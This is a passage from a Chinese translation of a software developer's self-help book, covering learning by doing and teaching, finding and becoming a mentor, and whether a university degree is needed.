步。\n采取行动\n挑选你想要了解的一项课题，实际经演练一下上述这六个步骤。你可以从一些规模较小的课题开始，以便让自己习惯于这一过程。但是注意，一定要实际运用。如果你只是把这些步骤当作是阅读内容，那么它们对你不会有太大用处。\n第30章 第7步到第10步：循环往复\n现在开始最有趣的部分。接下来的四个步骤会在你的学习计划所定义的各个模块中循环往复。步骤7到步骤10的目标是通过“学习—实践—掌握—教授”（LDLT）的方式真正领会知识。你从掌握恰到好处可以开始的基础知识开始，然后通过操作来学习，同时也通过自我探索收集问题。之后，你掌握了足够多的有用的知识。最后，你能将自己学到的教给他人，以此来弥补自己在学习过程中的不足，同时通过深入思考巩固知识。\n重复第7步到第10步\n第7步：开始学习，浅尝辄止\n大多数人，包括我自己，在学习过程中通常会犯两类错误：第一类错误是在知之不多的情况下就盲目开始，即行动太快；第二类错误是在行动之前准备过多，即行动太晚。要想在这二者之间取得平衡，你掌握的知识要恰到好处，足以能让你开始学习，但又不会多到让你无力探索，这样你的学习效果最佳。\n在这一步中，你的目标是获得足够多的与所学主题相关的信息，从而能让你开始学习，并在下一步中动手操作。对于编程语言或框架这样的技术，这一步还包括掌握如何创建一个基本的“Hello, world!”程序，或者设置自己的开发环境。对于摄影这个例子来说，这一步包括自己在不同的光线条件下调试光圈及其效果。\n这一步的关键在于过犹不及。你会很容易就失去自控力，开始消化计划学习中列出的所有资源。但是，你会发现，如果你能经受住这样的诱惑，你会取得更大的成就。你要专注于掌握自己所需的、能在下一步动手操作的最小量的知识。你可以浏览参考材料，或者每章的摘要，或者各种简介，这些信息足以让你对自己要做什么有基本的认识。\n快速学习基础知识，立刻开始实际操作\n你买过新视频游戏吗？你是不是在把光盘塞进游戏机开始玩之前先快速浏览一下用户手册？这正是你在第7步中要做的事情。你玩一会儿之后，会重新回来完整地阅读用户手册。现在，你只需要知道基本用法，能够正确地玩游戏就够了。\n第8步：动手操作，边玩边学\n这一步真是既有趣又可怕。说它有趣是因为你真的是在玩耍，说它可怕是因为这一步完全没有边际。这一步没有任何规则，你可以做任何你想做的事情。如何更好地实施这一步，完全由你决定。\n起初，你会觉得这步似乎并不重要，不过还是让我们先来考量一下其他的方式——大多数人学习的方式。大多数人会试图通过读书或观看视频来掌握某个主题。他们会提前吸收很多信息，然后再付诸实践。这一方法的问题在于，在他们读书或看视频的时候，他们并不知道哪些内容是重点。他们只是因循他人设计好的学习路径。\n让我们继续学习数码摄影的例子。假定你要学习光线对数码摄影的影响，所以在这一步中，你会一直练习在不同的光照条件下拍照。你可能只是走到室外调节光圈，也可能在不同的环境下拍照；其间，你并没有意识到自己在做什么。你在探索中学习，也发现了许多问题。\n现在，考虑一下我在这里建议的方法。你无需提前了解全部内容，你要做的首要的一件事情就是亲自操作和亲身体验。采用这种方法，你通过探索和实践进行学习。在操作的过程中，你的大脑自然地产生各种问题：它是如何工作的？如果我这么做，会发生什么？我该如何解决这个问题？这些问题引导着你走向真正重要的方向。当回过头寻找问题的答案的时，不只是这些问题迎刃而解，而且你记得的东西比你学习的东西要多得多，因为你所学到的都是对你很重要的东西。\n在这一步中，你要采用在第7步中学到的知识。不用担心结果，勇敢探索吧。如果你正在学一门新技术或者新的编程语言，你可以先创建一个小项目来测试这一步的效果。把那些暂时还没有答案的问题记录下来，你在下一步中会有机会找出这些问题的答案。\n第9步：全面掌握，学以致用\n好奇心是学习特别是自学的重要组成部分。当我们还是孩子的时候，我们就处于主要由好奇心驱动的快速学习期。我们想知道世界是如何运转的，所以我们提出问题，四处寻求答案，借此来了解我们所处的这个世界。但是，随着我们日渐长大，大部分好奇心也随之消失，我们把世界上的一切看作理所当然。结果，我们的学习放缓，我们觉得教育非常枯燥，并不令人着迷。\n这一步的目标就是让你找回好奇心驱动的学习。在第8步中，你通过动手操作发现了一些尚未找到答案的问题。现在，是时候来回答这些问题了。在这一步中，你要利用先前收集到的所有资料，进行深入学习。\n让我们再回到数码摄影的例子。假设你已经在调试光圈的过程中积累了一些问题，这时你可以通过阅读相关主题的资料来回答这些问题。你可以通览已有的资料，仔细查找与光线和其他通过操作发现的问题有关的内容。\n为了有效利用自己选择的资料，为上一步产生的问题寻求答案，阅读文字、观看视频、与他人交流都是必要手段。这能让你沉浸在学习材料中，尽可能地汲取知识。\n不要害怕回头再去操作，付出更多，因为这不仅能让你找到问题的答案，也能让你学到新东西。给自己足够多的时间去深入理解自己的主题，你可以阅读，可以实验，可以观察，也可以操作。\n不过请记住，你依然没有必要把收集到的所有资料全部仔细看一遍。你只需要阅读或观看与当前所学相关的部分。我们很少能有足够的时间把一本书从头读到尾。这些资料只是帮你自学，基本上你可以以解决在动手操作中发现的问题为主要目的。\n最后，千万不要忘了，你在第3步中定义的成功标准。试着把自己正在学习的内容与最终目标关联起来。你掌握的每个模块，都应该以某种方式推动你向着终极目标前进。\n第10步：乐为人师，融会贯通\n你告诉我的，我都忘了。你教会我的，我都记得。让我乐在其中，我就一定能学会。\n——本杰明·富兰克林\n大多数人都不敢为人师。我曾经也是。当你在思考自己知道的东西（或者你认为自己知道的东西）是否值得教给别人的时候，很容易陷入自我怀疑之中。但是，如果你想深入地掌握一门学问，想对这门学问做到融会贯通，那么你必须要做到“好为人师”。除此之外别无他法。\n在现实中，你只需要超前别人一步，就可以成为他们的老师。有时候，比学生超前太多的“专家”反而不能得心应手地“教”，因为他们无法与学生产生共鸣。他们忘了初学者是什么样子，很容易专注于他们认为简单的细节。\n如果你想教别人自己学到的关于光线如何影响数码摄影的知识，你可以创建一个简单的YouTube视频，展示不同的光源及它们对拍摄的影响。你甚至还可以再简单一些，向朋友或同事解释光线是如何影响数码摄影效果的，我敢肯定许多人会对这个谈话很感兴趣。\n在这一步中，我会要求你走出自己的舒适区，将自己学到的知识教给别人。要想确定你确实掌握了某些知识，这是唯一的办法；同时，在你将自己所学介绍给他人时，这也是查缺补漏的好办法。在这一过程中，你要切实剖析并理解自己所学的知识，将其内化到自己的思想；同时，你也要用能够让他人理解的方式精心组织这些信息。以我个人的经验来说，在我开始“乐为人师”之后，我不仅在职业发展和专业成长上有了巨大飞跃，我的理解能力也更上一层楼。\n你可以用多种方式将自己所学教给他人。你可以写博客，也可以制作YouTube视频。你也可以跟自己的爱人探讨，将自己所学解释给他/她。重点在于，你要花时间将自己学到的东西从大脑中提取出来，以别人能够理解的方式组织起来。在经历了整个这个过程之后你会发现，有很多你以为自己明白了的知识点，其实并没有摸透。于是你会将那些以前自己没太明白的东西联系起来，并且简化自己大脑中已有的信息，将它们浓缩并经常复习。\n前景非常诱人。所以，不管做什么，千万不要跳过这一步。这一步对于保持信息以及深入理解知识而不仅仅只是流于表面至关重要。\n教授知识的途径\n撰写博客文章\n创建YouTube视频教程\n发表演讲\n与朋友或爱人进行对话探讨\n在在线论坛上回答问题\n最后的思考\n学会自我教育需要奉献精神和辛勤工作，但是你也能从中收获无比丰厚的回报。“十步学习法”并非一个神奇公式，能够让你瞬间变得聪明伶俐，但这种方法可以将你的学习过程更为结构化，而不是漫无目的地一头扎进浩淼的知识海洋之中；这种方法通过利用人天生的好奇心来帮助你吸收更多的知识，而我们中大多数人正是在好奇心的驱使下才学到很多本领的。\n如果此方法中有些步骤对你不起作用，或者你觉得某些形式完全没有必要，完全可以弃之不理。这些步骤本身并不重要，这一学习过程背后的理念才是真正重要的。重点就是你要开发出一套适合自己的自学体系，一套你可以持续不断地加以运用而获得丰硕成果的方法体系。\n采取行动\n针对你在第29章中制订的学习计划的每一个模块执行第7步到第10步，完成你的学习实验。\n现在，不要跳过任何步骤。研究一下，如何让这种方法对你奏效，然后尝试优化它。\n第31章 寻找导师：找到你的尤达[1]\n在那些伟大的史诗电影或者故事当中，英雄都要经历“成人礼”的考验。每位英雄都有一位导师，有的导师将自己的毕生智慧倾囊相授，有的导师则会在英雄的成长历程中不断地给英雄挑战。\n在你的软件开发生涯中，拥有一位导师可以说是一笔巨大的财富，因为一位优秀的导师能够让你无需亲身经历现实的重重考验就拥有丰富的经验。你可以从导师的成败中汲取丰富的营养，他为你照亮了前进的道路。优秀的导师可以帮助你迅速地掌握一门技术，比你自己摸索要快很多。\n然而，正如生活中的大多数事情一样，找到一位导师相当不易。你可能没有X翼飞船能够帮你飞向达戈巴星系找到自己的尤达大师[2]，但是你必须要做一些事情。在这一章中，我会教给你一些小窍门，包括寻找怎样的导师，如何找到导师，以及如何说服你的导师让他相信你值得他投入，从而真正实现双赢。\n导师的修养\n导师可以以各式各样的形态存在。令人啼笑皆非的是，我们通常会犯这样的错误——根据他人的生活来判读其是否具有帮助我们的能力。然而与此相矛盾的是，许多最为成功的职业运动队教练并不是职业运动员，一些“名人堂”级别的教练看起来从未踏足过健身房，有的励志演说家的生活与他们所宣称的那一套大相径庭。他们只是与实际生活中的自己不一致而已。\n这是否意味着你应该寻找那些最古怪、最疯癫、最失败的人，央求着成为他们的学生呢？绝对不是。但是，你不应该因为某人在自己的生活中成就平平，或者看起来不过尔尔就对他们的印象大打折扣。最好的老师往往深藏不露[3]。\n如果你想找到这样的例子，可以去参加一次匿名戒酒互助会的聚会，或者到当地教堂去转转。通常情况下，你会在这些地方发现很多导师。他们曾经命运多舛，但是在克服了这些困难后，他们学会了帮助和自己一样的人。\n那么你想寻找一位什么样的导师呢？你可以找一位已经成功实现你想要做的事情的人，也可以找一位曾经帮别人实现了你现在想要做到的事情的人。如果他们是自己做到的，那就太好了。但是，如果他们是帮别人做到的，那就更加有说服力。如果一个人能够对很多人产生好的影响，能够帮助他们实现目标，那么他也更有可能为你做同样的事情。\n我们还要将我们该如何看待这个人或者他说了什么与他取得的成果分开来。这不像看起来那么容易。当我们向别人寻求帮助时，我们必须要假设我并不知道什么最好，否则我们也就没有求助的必要了。这就意味着，我们提出来的分析结果可能是错的。我们必须相信我们所想的正与真理背道而驰，并且必须相信一位导师已经实现的成果，而不是相信自己的逻辑和推理。\n想想我们是怎样学习游泳的。当你第一次学游泳的时候，你的大脑里充斥着关于如何游泳和水很危险的虚假信息。你可能觉得自己不能漂起来，最后会被淹死。你必须要信赖你的游泳教练，对于游泳，他知道的比你多，而你对于游泳的认知都是错的。\n在寻找一位导师的时候，你必须要抛开自己的判断和推理，只去关注导师的成就。你可以去找那些已经实现了你所设定的目标的人做你的导师，或者水平略胜你一筹的人做你的导师。你也可以去找已经帮助别人实现你设定的目标的人，即使他自己还没有达到这个水平。\n寻找导师时的检查单\n他们做到了我想要去做的？\n他们曾经帮助他人做到了我想做的？\n他们现在取得了什么可以展示的成就？\n你能和这个人和睦相处？他充满智慧吗？\n在哪里可以找到导师\n你已经知道该找什么样的人做你的导师，那现在的问题是：去哪里找到自己的导师呢？你又不能径直走到“导师商店”租用一个。（好吧，其实现在可以在http://simpleprogrammer.com/ss-clarity找到类似的服务。你可以以按小时付费的方式向不同领域的导师请教问题，也可以聘请教练来对你在各个领域的问题答疑解惑。）\n你最好的选择就是去自己认识的人中找，自己的朋友的朋友、家人的朋友等。如果你愿意做一点儿功课，再四处打听一下，无论你努力追求的目标是什么，你极有可能在由家人和朋友组成的关系网中找到适合做你导师的人。这种寻找导师的方式最好，因为你从自己的熟人或者由家人和密友推荐的人那里找到导师的概率更大。\n不过有时候你的人际关系没那么广，那你就需要试试别的方法。在给R2D2机器人[4]系上安全带之前，你可以先去查看一下本地的各种社群，通常是各种各样的兴趣小组。如果你想找软件开发方面的导师，可以在Meetup（http://meetup.com）这样的网站上找到本地的软件开发人员小组。你还可以找到很多本领域的创业者团体。\n大多数本地群组由水平参差不齐的成员组成，但通常在经验丰富的牛人的号召下聚会。这样的牛人在回馈社区的同时，也在寻找新的门徒去继承自己的衣钵。即使你不能在这样的群组里找到合适的导师，你也会遇到高人，他要么能告诉你去哪里找，要么认识你想认识的人。\n如果你想在一家公司里获得晋升，那么在公司内部给自己寻找一位导师无疑是明智之举。你的老板或者你老板的老板这样的资深人士是导师的不二人选，你很可能会提前接受晋升所需要的各种教育。此外，与高管做朋友对你的职业生涯毫无害处。\n虚拟导师\n但是，如果你费尽周折还是没能找到一位合适的导师，这时该怎么办呢？在某些情况下，你可能需要考虑去“创建”自己的导师。\n当我第一次涉足房地产投资的时候，我甚至不知道有谁已经做过我想做的事情，我也不认识别的房地产投资者，也不知道该去哪里找到本地的房地产投资者群体，于是我只能从书里“创建”自己的导师。\n我找来一些房地产投资方面最好的书，从这些“虚拟导师”身上我学会很多东西。除了阅读他们所写的内容，我还尝试去理解他们是如何决策的以及为什么做这样的决策的。\n拥有一位真实的导师显然更好。当你进退两难的时候，你可以求助于生活中有可能成为你导师的人。事实上，你甚至可以通过互联网认识这样的人，获得他们的指导。\n在我最喜欢的一本书——Napoleon Hill的《思考致富》（Think and Grow Rich）［Wilder，2007］一书中，Hill先生讲述了自己无法找到想要的导师的时候，他通过想象拥有了导师。他阅读自己所崇拜的著名人物的传记，想象与他们交谈。他想象着他们会给他什么样的建议，他自己又将如何应对。这看起来似乎有点儿疯狂，但是Maxwell Maitz——Psycho-Cybernetics（［Pocket，1989再版］）一书（也是一本很经典的书）的作者，也阐述了同样的观点。\n招募导师\n即使你能给自己找到一位完美匹配的导师，也不能保证这位导师愿意收你为徒。事实上，越成功的人越忙，他们根本没有太多的空闲时间。那么你如何说服未来的导师自己值得他投入呢？\n完成这一任务的最佳途径就是交换互助。你能提供的最好的交换物就是自己对学习的渴望……还有……免费工作。没错，拒绝免费劳动力是相当困难的。如果你愿意以单调的工作换取学习的机会，你会发现自己的导师更容易接受你的请求。\n但是很可能你没有时间或财力来为他人免费工作。你也许只是需要在自己追求的人生领域中获得一点点帮助，或者你的导师不需要你的义务帮助。你该怎么办呢？\n提示\n 可以考虑请他吃午餐或者晚餐，在吃饭的时候让他给你一些建议。\n一定要有耐心！大部分人在第一次听到“不”的时候就止步不前。别做这样的人。恰恰相反，要做一个别人用棍子赶才能赶走的人——即便如此，过一会儿也还要回来。你的顽强不会总有回报，但是你可能会惊讶地发现回报来得很频繁。\n采取行动\n在寻找导师之前，你必须要明确，你需要导师帮你解决什么问题。坐下来，仔细想想你为什么需要一位导师，你希望从这段师徒经历中获得什么。\n列出所有你认识的人中可以做自己的导师的人。请其他人在你的列表上再列出他们认识的人，用好你的人际网络。\n想一想，为了能够换取导师的帮助，你能给他提供什么？\n[1] 尤达大师（Yoda），《星球大战》（Star Wars）系列中的人物，正义与力量的化身、绝地武士的大师、绝地高级委员会委员，德高望重，受人尊敬。尤达大师在绝地武士中扮演着一个重要角色：当年轻的绝地弟子们开始他们的第一次训练时，就是在尤达的指导下进行的，许多非常伟大的绝地武士在孩童时期都接受过尤达的指导。以上摘自百度百科。——译者注\n[2] 此处是引用《星球大战》系列中主人公安卢克天行者寻找尤达大师的情节来做调侃。——译者注\n[3] 想想《天龙八部》里的“扫地僧”。——译者注\n[4] 此处继续引用《星球大战》系列中的情节来做调侃。R2D2是主人公卢克天行者的机器人朋友，卢克驾驶X翼飞船起飞作战时必须要带上它。此处形容漫无目的去寻找自己的导师。——译者注\n第32章 开山收徒：成为尤达一样的大师\n拥有一位导师是非常好的，而成为导师更是好上加好。不管你可以在自己的软件开发生涯中走多远，总有人有机会得益于你的睿智和真知灼见。\n回馈社会是非常重要的，不仅因为这是一件正确的事，还因为它可以让你自己受益无穷。\n在本章中，我们将讨论“好为人师”的好处，以及如何选择学徒。\n做一名导师\n许多开发人员都认为自己没必要成为别人的导师，或者你也身处这样的场景。或者，你可能觉得自己没资格在别人前进路上去教导或帮助别人。\n我除了知道你会写代码，对自己并不了解，但是我几乎可以100%地保证你一定会在某个领域成为别人的导师。我最喜欢告诉人们，只要在某些方面快人一步，就能帮助别人。无论你生活在哪里，也无论你从事何种职业，你总有机会在某个方面领先别人一步，所以你一定可以帮到某个人。\n花点儿时间思考一下你会比谁领先一步。想一想自己认识的开发人员有谁正在努力学习你已经知道的东西。你怎样能帮到这些开发人员？你该如何向他们分享自己的知识，即便你还不是一位专家？\n身为导师并非每时每刻都要成竹在胸、永无谬误。身为一名导师，要客观地看待别人的问题并提供相应的解决方案，而对方之所以看不到这些解决方案，只因当局者迷。通常，你要结合自己的智慧和经验进行观察，但是，有时候仅仅以“旁观者”的观察视角就足以帮助别人获得成功。\n我知道，我也曾经亲身经历过，有些人，其实他对我的问题一无所知，他们只是认真倾听我所叙述的，就可以看出我未曾注意到的显而易见的东西，给予我有益的指导。有时候你给别人做导师真正要做的就是给予关注。许多收入很高的生活教练其实就是这么做的。\n我们在生活中都需要别人的帮助以看到自己看不到的东西，因为当遇到涉及自身的问题和麻烦的时候，我们都会有些目光短浅。伟大的高尔夫球手老虎伍兹也需要一位教练，虽然他技不如伍兹，但是他能看到伍兹看不到的东西。要想成为导师，你只需要敏锐的观察力和足够的耐心。你愿意带着同情心倾听你的门徒，在他们需要鼓励的时候给予支持，在他们需要动力的时候也会从后面推一把。\n身为导师的好处\n说实话，虽然我们自认为慷慨无私，其实还是被个人利益所驱动的。这是人之常情。我可以迎合你对社会和慈善事业的看法，告诉你身为导师能够回馈社会、造福大众，这是事实。但是我也想告诉你，身为导师不仅能够帮助他人，也能给你自己的生活带来切实可见的好处。\n我们将在接下来的几章中深入讨论该话题，其实我们在前面讨论“十步学习法”的时候已经谈到了这一点——教授是学习的最佳途径之一。\n在你担任导师的时候，你通常会比自己的学生还学得多，你会修正自己关于某个课题的观点，以全新的视角观察和思考。在你做导师的时候，你经常面对的都是最强悍的问题：为什么？为什么这样就是对的？为什么要用这种方法？当你被迫去探究这些“为什么”的时候，你会发现其实自己并不知道为什么。你可能还会发现，当你想去帮助别人的时候，你探求答案的过程能让你愈加深入思考，甚至可能完全改变你最初的想法。\n当导师有时候也是要讲点儿运气的。你帮助过的每一个人，可能终有一天会超越你并且回馈于你。你指导的每一个人，就好比是你埋下的种子。种下的种子足够多，终有一粒会长成参天大树，为你遮风挡雨。很多我曾经指导过的人现在已经为我提供了很多帮助。人们总是会记着那些为他们雪中送炭的人。\n现在，我想站在纯粹慈善层面上告诉你，做导师还会让你感觉良好。这件事情还是值得去了解的——你所做的能够对其他人的生活产生积极的影响，这本身就是一种报偿，特别是当此人无法报答你的时候。指导别人能让你发现人生的新目标和新意义，帮助别人可以给自己带来真正的幸福。\n做导师的好处\n帮助他人时的成就感。\n深入学习和领悟知识的途径。\n你的徒弟有朝一日会帮到你。\n自身的成长。帮助别人成长的过程也就是自己成长的过程。\n挑选一位“值得”指导的门徒\n身为导师的一大困难就是找到一位值得自己付出时间和精力的门徒。当你的职业生涯越来越成功的时候，你会发现，越来越多的人向你寻求帮助，但是并不是所有的人都是真心实意的。你很容易浪费自己的宝贵时间去帮助那些并没有真正意愿去获得帮助的人。基于这个原因，谨慎选择门徒还是很重要的——千万不要明珠暗投。\n在决定是否接纳新门徒的时候，需要首先查看他的基本素质（你知道可以导致成功的素质）。一个品行端正、有原则但缺乏智慧和知识的人，如果给予正确的指引，最终也会成功。反之，如果一个人缺乏这些素质，即便获得全世界的帮助，也是无济于事。\n要找真正有意愿去学习，并愿意为此付出努力的人做自己的门徒。那些因为懒惰不愿意付出而向你寻求帮助的人，不配做你的门徒。你可以找那些希望在你的帮助下加速前进，同时也汲取你的经验以避免犯错的人做自己的门徒。\n采取行动\n在哪些领域内你可以辅导别人呢？整理一份清单，列出自己有意愿且有足够知识能帮助别人的主题。\n持续提升自己，成为一名导师。找到那些真正需要你的帮助又符合条件的人做你的门徒。\n第33章 传道授业：若要学知识，必得为人师\n尽管我们在前面讨论“十步学习法”时已经讲过，但我认为这个概念相当重要，值得更详细地探讨：学习知识的一大方法，或许是唯一可以做到深入学习的方法，就是传道授业。\n如此深刻的真理却常常被人无视，只因大多数人对教别人心存恐惧，甚至还会觉得此做法得不偿失。本章的内容全部都是教你如何克服这一恐惧心理，理解教学的价值，并探索教学方法，从而让你在学习过程中从“教会别人”收获益处。\n我不是老师\n“我又不是老师”“我不知道怎么去教别人”——当我建议开发人员去传道授业的时候，总会听到这样的借口。是的，当下，尽管并非人人都在教学方法方面训练有素，但是每个人都有教的能力。很多情况下，真正的问题不是能力，而是信心。假如我请你给我演示你已经掌握的技能，你可能毫不犹豫地就做了。但是，如果我请你演示你毫无把握的技能，这一情况就很可怕了。\n你觉得你在某方面已然是专家了，才敢把这些东西拿出去教给别人。然而，能将自己的专业知识教授给别人，却是成为专家的一部分要求。如果在某个领域你从来没有教会别人，那么很难说明你在该领域获得了足够的专业知识。事实上，假如我让你找出自己已经掌握但却从来没教给他人的一项技能，你会找出不少。我斗胆猜测你已经深刻领会了其中的大部分技能，你可能帮助过别人，促进了对这些技能的掌握。然而，有趣的是，大多数人并没意识到这正是自己在传道授业。\n教学通常需要正规的资质，而教学的真谛则是与他人分享知识。其实你每时每刻都在做教学这件事，只是你自己没有意识到。有多少次你向同事解释某个概念，演示如何使用某个框架或库？你可能从没带着粉笔和直尺走上讲台，但是你确实教过别人。\n没有学位和证书，你也可以传道授业，当然你也不是必须成为专家。你只需要比别人领先一步就能够顺利地教他们。因此，尽管你认为自己没有教的资格和能力，但事实是，人人皆为老师。\n在你传道授业的时候都会发生什么\n当我们初次接触某个课题的时候，我们对于自己对此了解多少往往都会高估。我们很容易自欺欺人，以为已经对某样东西了如指掌，直到我们试着去教会别人的时候，才能发现事实并非如此。\n你有没有被别人问过一个非常简单的问题，却震惊地发现自己不能清晰地解答。你刚开始会说：“这个，很明显……”，接下来只有“哦……”。这种情况在我身上屡屡发生。我们自认为已经透彻理解了这个话题，实际上我们只是掌握了表面知识。\n这就是传道授业的价值。在你的知识集合里面，总有一部分知识你并没有理解透彻到可以向别人解释，而“教”的过程能够迫使你面对这一部分。作为人类，我们的大脑善于模式识别。我们能够识别模式，并且套用这些固定的模式去解决许多问题，而没有做到“知其然”也“知其所以然”。\n这种肤浅的理解力无碍于我们完成工作，因而不易被察觉。然而一旦我们试着向别人解释某件事情的运作原理或背后的原因的时候，我们在认知上的漏洞就会暴露出来。\n不过这并非坏事。我们需要知道自己的弱点，然后才能对症下药。在教别人的时候，你迫使自己面对课题中的难点，深入探索，从只知皮毛变成完全理解。学习是暂时的，而理解是永久性的。我可以背诵九九乘法表，但是一旦理解了乘法的运算原理，即使突然记性不好，我也可以重做一张乘法表。\n在教别人的时候，你需要重新组织大脑中的所有数据。当我们刚开始学新东西的时候，通常都是些零散的知识点。这些素材在你被教授的时候可能都是组织得很好的，但是一旦进入你的大脑后，它们经常是以非常混乱的形式被存储起来的。你掌握的一个概念，然后又跳到下一个概念，然后又跳回到之前的概念，直到回到之前没有掌握的内容。\n这种在大脑中存储信息的方式非常低效且混乱。这就是当别人来问你问题的时候，你明明知道答案，但说出来却是前言不搭后语的原因。你知道自己知道，却无法解释得一清二楚。\n在你试图教别人的时候，你强迫自己重新组织大脑中的资料。最好的思维方法就是解释某样东西并将其记录在纸上，或者记录到Word文件或者幻灯片中，使你可以将这些互不连贯的碎片信息收集起来，并以一种有效的方法重新组织起来。要想教人，你得先把自己教会。传道授业为何是卓有成效的学习方法，原因正是如此。\n入门\n也许，现在，我已经让你相信，传道授业是一件你可以做也应该去做的事情，尤其当你希望自己能够深刻理解已有知识的时候。那你会想知道：如何才能真正开始传道授业？要想切实迈出这一步，成为某个学科的权威并非易事。对于该学科，你也许会得心应手，也可能是忐忑不安。\n我发现最好的教学方式就是以谦虚的视角来观察问题，以权威的口吻去诠释问题。我的意思是说，当你教别人的时候，无需让自己表现得比学生更智慧、更博学，但要充满信心，坚信自己所说的一切。没人愿意跟一个对自己讲的内容毫无底气的人学习，也没有人愿意在学习的过程中被人看作是愚不可及的。\n要把这一切做到恰到好处还需要一些练习，因为很容易从一个极端走向另一个极端。你要明白，你教的目的是为了帮助别人，而不是为了证明自己的优越性或者寻求认可。\n想想让你印象深刻的老师们，他们让你沉浸在学习之中，对你的生活产生了积极影响。他们拥有哪些素质？他们采用的教学方法有哪些？\n那么从哪里着手呢？是不是应该需要开设自己的课堂，广招学生呢？\n我的建议是：你从“小”做起，渐渐习惯去分享自己的想法。我一直建议开发人员要开自己的博客（参见本书第二篇）。博客是很棒的地方，它能让你在教自己所学的知识的同时不必承受过多的压力。在你掌握一个主题之后，可以撰写博客来分享自己所学。看看自己能不能以这一简单的方式来从接收到的信息中提炼出要点。事实上，我就是这样开始写自己的博客“Simple Programmer”的。我最初的目标，也是最重要的目标，就是“化繁为简”。当我开始写博客的时候，我希望能将自己学到的东西进行简化，从而方便别人理解。\n然而你并不要止步于写博客。另一个重要方法就是在本地用户组的聚会上或者自己的工作场所进行演讲。只要记住一个原则：心态谦卑，信心满满（而不是傲慢自大）。即使你可能不是最好的演讲者，你也会做得很好。\n视频，尤其是教程截屏，也是一种很好的教学方式，很容易上手。你可以使用像Camtasia(http://simpleprogrammer.com/ss-camtasia)或ScreenFlow(http://simpleprogrammer. com/ss-screenflow)这样的录屏软件来录制你的屏幕，并提供一个画外音来解释操作过程。这种教学方式能够真正给你带来挑战，迫使你去思考呈现信息的最佳方式（音频、视频和实际演示）。\n采取行动\n想出一个你可以教别人的话题并教给别人。本周你要尝试一些教学方法，如写博客、发表演讲、录制截屏等。\n当你做教学准备的时候，要特别注意这些准备工作是如何提升自己对某个主题的理解的。对那些没打算去教别人就不可能发现的自己的知识短板要多加留意。\n第34章 你需要一个学位吗，还是可以对此忽略不计\n关于大学学位对于软件开发人员的价值，长期以来存在各种争论。没有学位的软件开发人员在职业生涯中和生活中能取得成功，又或者他们注定就是要搜遍每个角落还是找不到工作？\n在本章中，我们会探讨高等教育的优势和弊端。当你没能走上学术之路的时候，你该如何获得成功？对此我会给你一些提示。\n获得成功必须要有学位吗\n我敢肯定，你知道这是一个很棘手的问题。如果你问的是一个有学位的人，他们很可能会说“是”。如果你问的是一个没有学位的人，答案可能是“不”——除非他们当时正好处于失业的状态。但是，真相到底是什么？你到底是否需要一个学位？\n好吧，我碰巧有一个计算机科学的学位，但是我刚开始工作的时候我还没有学位，所以我刚好处于两大阵营的中间。虽然这并不能让我的答案无懈可击，但是无论如何，这种经历确实可以让我以两个阵营中任何一方的视角来看待有关求职和晋升的问题。\n以我的经验，我发现，拥有学位并不是成功所必需的，但它肯定是一个限制性因素，它限制了可以提供给你的职位数量，并且某种程度上也限制了你的晋升，特别是在大公司中。没有学位可能会让你的简历被过滤掉，连被人看到的机会都没有。许多公司，特别是大公司，会根据受教育水平来过滤求职申请。事实上，一些公司的招聘政策中明确要求软件开发人员拥有大学学位。当然，这并不意味着你就不能从这些公司获得工作机会，总有一些例外，但是肯定会难上加难。\n我不想在这里过分强调学位的重要性，但我希望你能明白，没有学位会限制你的选择。在这个大前提下，我确信，学位并不是成功的必备条件。\n我知道有许多成功的软件开发人员并没有拿到学位，比尔·盖茨就是一个很好的例子。他没有完成学业，但是看看他现在的成就。在我软件开发职业生涯的大部分时间里，我并没有学位，我也做得很好。在软件开发领域，能力最为重要。与一纸学历证明相比，如果你能写好代码，能解决问题，能证明自己有此能力，你就能走得更远。\n与其他行业相比，软件开发最大的不同就是：该领域总是不断变化。每天都有新的框架和技术问世。在教育机构中培养能适应真实工作环境的软件开发人员几乎是不可能的。等到教材出版、课表排好的时候，很多东西已经改变。\n但是，这并不意味着，在软件开发中不存在永恒不变的核心领域。许多计算机科学课程中包含的算法、操作系统、关系型数据库理论和其他主题都是永恒的。然而最简单的事实是，当你坐在办公桌前开始写代码的时候，你极少会用到在学校学到的技能。身为软件开发人员，我们所做的大部分工作，都是如何使用新技术，学会如何用它们完成工作。我们很少需要回溯到计算机科学的本源。\n同样，这并不意味基础的计算机科学教育毫无价值。能够深入挖掘问题并理解问题（而不是停留在表面上）的能力更具价值。对大多数软件开发人员来说，在工作中取得成功的更直接因素还是相关工作经验。\n拥有学历的优势\n我们已经讨论了拥有学历的一些优势，现在让我们更深入地探讨一下这个问题。\n首先，学历教育可以确保你在软件开发方面获得全面的教育。计算机科学方面的学位或者其他与软件开发相关的学位，不会给你带来成为优秀的软件开发人员所需的全部教育，但是大多数学位课程能给你打下坚实的基础。\n你当然也可以自学这些东西，但如果你选择自学，最终会在你的知识体系中留有漏洞，将来这些漏洞有可能会在你的职业生涯中会伤害到你。计算机科学或相关学位的教育让你学习高等数学，了解编程语言、操作系统和算法，以及一些并非日常工作所必需的核心主题；这能让你拥有良好的基础，能够让你更深入的理解自己在做什么，以及各种工作原理。\n拥有一个学位也可以帮你即使毫无经验也能踏入职场。软件开发领域很难闯入，特别是缺乏任何经验的话。在这种情况下，有个学位就大不相同。如果从来就没有从事过相关工作又没有接受过正规教育，你就很难让别人相信你会写代码。\n学位还可以给你更多的选择。如果你没有获得过相关学位，有一些职位你是永远不会得到的，尤其是在大公司中。没有学位，做到一定的行政岗位之后就会有一个困难期。如果你决定要转到管理岗位，你可能得获得MBA学位，而这会要求你必须先拥有一个较低的学位。表34-1列出了学位的几个好处和缺点。\n表34-1 学位的好处和缺点\n学位的好处\n学位的缺点\n接受有关软件开发方面的全面的系统教育\n花费原本可以赚钱的时间去学习\n无需经验就可以入行\n可能会受困于思维定势，难以打破\n有更多选择，更容易转到行政或管理岗位\n没有学历又当如何\n显然，拥有学历不仅对你无害反而能帮到你。但是如果没有学历你该怎么做呢？\n如果没有学历，你就不得不更多地依靠经验来证明自己的能力。学位至少可以让雇主相信你具了解某些软件开发的知识，那么如果你没有学位的话，你就要能够证明自己有这些能力。\n证明自己的能力的最好的办法就是以往的工作经验。如果在过去五年中你一直从事软件开发的工作，那么即使没有学位也能说明你会写代码。但是，如果你刚刚踏入职场，那你的求职之路会很艰难，你不得不去证明自己确实能够做到你自己所说的那些。因此准备一份作品集是最好的方法。\n不管你是拥有学位还是拥有经验，我都建议你将自己的工作成果总结为作品集。如果你既没有工作经验也没有学位的话，你最好能够展示一些自己写的代码。现在，做到这一点的最好的办法就是在GitHub（http://github.com）这样的代